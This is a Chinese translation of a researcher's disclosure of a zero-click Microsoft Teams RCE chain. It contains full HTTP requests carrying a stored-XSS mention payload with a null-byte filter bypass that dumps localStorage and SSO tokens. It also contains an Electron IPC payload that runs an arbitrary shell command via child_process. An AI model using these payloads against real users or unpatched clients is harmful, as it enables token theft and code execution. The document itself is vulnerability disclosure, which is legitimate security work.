今年8月31日,安全研究人员Oskars Vegeris在Microsoft Teams 桌面应用中发现一个零点击的远程代码执行漏洞,攻击者通过发送伪造的聊天信息就可以利用该漏洞来执行任意代码和攻击目标系统。整个攻击的过程中无需任何的用户交互。任意代码执行可以实现对受害者设备和通过这些受害者设备实现对公司内部网络的完全访问。
即使不在受害者设备上实现任意代码执行,攻击者也可以通过XSS来获取Microsoft Teams和其他微软服务(如Skype、outlook、office 365)获取SSO认证token。此外,XSS漏洞利用本身也可以访问MS Teams中的机密、私有会话和文件等内容。Guest用户就可以在没有用户交互的静默情况下完成攻击。
受影响的产品
Microsoft Teams (teams.microsoft.com) - XSS
Microsoft Teams macOS v 1.3.00.23764 (2020-08-31及之前版本)
Microsoft Teams Windows v 1.3.00.21759 (2020-08-31及之前版本)
Microsoft Teams Linux v 1.3.00.16851 (2020-08-31及之前版本)
漏洞影响
· 蠕虫性:在无需用户交互的情况下将漏洞利用payload 自动传播到其他公司;
· 在无需用户交互的情况下在受害者设备上实现任意代码执行;
· 终端用户机密性和完整性的破坏:访问MS Teams之外的私有会话、文件、内部网络、私钥和个人数据;
· 访问SSO Token和其他微软服务,比如Outlook、Office365;
· 通过重定向到攻击者站点或请求SSO 凭证输入实现钓鱼攻击。
漏洞描述
为在微软Teams中实现远程代码执行,需要将2个漏洞串在一起:
· teams.microsoft.com聊天功能中的存储型XSS漏洞;
· MS Teams桌面客户端的JS漏洞利用。
teams.microsoft.com XSS漏洞
漏洞利用步骤
通过直接通信或频道的方式输入聊天消息,在聊天中mention用户或定制(custom) tag;
编辑含有mention的消息,并利用Burp Suite这样的HTTP 代理拦截。
在mention功能中,有漏洞的参数是{ content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]" JSON消息格式中的displayName。
请求如下所示:
PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1 Host: emea.ng.msg.teams.microsoft.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Authentication: skypetoken=...snip... ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00 BehaviorOverride: redirectAs404 Content-Length: 1174 {"content":"\n\n\n\ndada\n\n\n\n\n","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot\"}]"}}
可以通过在unicode \u0000中注入nullbyte来绕过表达式过滤,比如:
{{3*333}\u0000}
为访问用户的本地存储和所有的SSO token,可以使用上面的HTTP PUT请求中displayName的payload:
{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}
SSO token记录的完整HTTP 请求如下所示:
PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1 Host: emea.ng.msg.teams.microsoft.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Authentication: skypetoken=...snip... ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00 BehaviorOverride: redirectAs404 Content-Length: 1174 {"content":"\n\n\n\ndada\n\n\n\n\n","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}
这就可以记录用户的本地存储作为XSS PoC。
整个过程中无需其他的action。聊天中的所有用户都可以记录可以被窃取的SSO token。可以通过检查Microsoft Teams 桌面版或任意浏览器中的开发工具来进行验证。
远程代码执行和 payload
研究人员开发了一个新的远程代码执行payload,如果启用了contextIsolation,就可以绕过当前Microsoft Teams 桌面版中的所有限制。
cmd = `open /Applications/Calculator.app` // change to windows/linux command as required stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file // implement an event handler when files downloaded to trigger payload this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload stage2 = `data:text/html,` this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window } )
简化版的HTTP PUT请求如下所示,对每个reload只执行一次:
{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}
完整的HTTP PUT请求和RCE payload如下所示:
PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1 Host: emea.ng.msg.teams.microsoft.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Authentication: ...snip... ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00 BehaviorOverride: redirectAs404 Content-Length: 1174 {"content":"\n\n\n\ndada\n\n\n\n\n","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}} ! note: change the command, currently set for macOS Catalina as open /System/Applications/Calculator.app
整个过程中无需任何的用户交互,只需要访问聊天就会可以执行任意代码。
PoC
PoC demo视频如下所示:
https://github.com/oskarsve/ms-teams-rce/raw/main/media/ms-teams-redacted-rce-2020-08.gif
更多技术细节参见:https://github.com/oskarsve/ms-teams-rce/blob/main/README.md
本文翻译自:https://github.com/oskarsve/ms-teams-rce/blob/main/README.md若转载,请注明原文地址: